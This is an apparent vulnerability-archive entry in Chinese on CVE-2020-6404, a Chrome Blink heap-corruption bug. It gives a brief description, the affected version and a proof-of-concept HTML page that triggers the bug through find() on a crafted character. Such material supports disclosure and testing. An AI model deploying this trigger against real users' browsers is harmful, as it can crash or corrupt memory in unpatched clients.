002-CVE-2020-6404 Google Chrome Blink 缓冲区错误漏洞.md

571 B / 2021-07-17 00:01:22

    # CVE-2020-6404 Google Chrome Blink 缓冲区错误漏洞

### 一、漏洞简介

在80.0.3987.87之前的Google Chrome中，Blink中的不当实现使远程攻击者有可能通过精心制作的HTML页面利用堆破坏。

### 二、漏洞影响

Google Chrome 80.0.3987.87

### 三、复现过程

**poc**


```html
<!DOCTYPE html>
<head>
<script type="text/javascript">
document.addEventListener("DOMContentLoaded", function(){
find(decodeURIComponent('\uFFFC'));
});
</script>
</head>
<body>
<legend></legend>
</body>
</html>
```

![](images/15890294238404.png)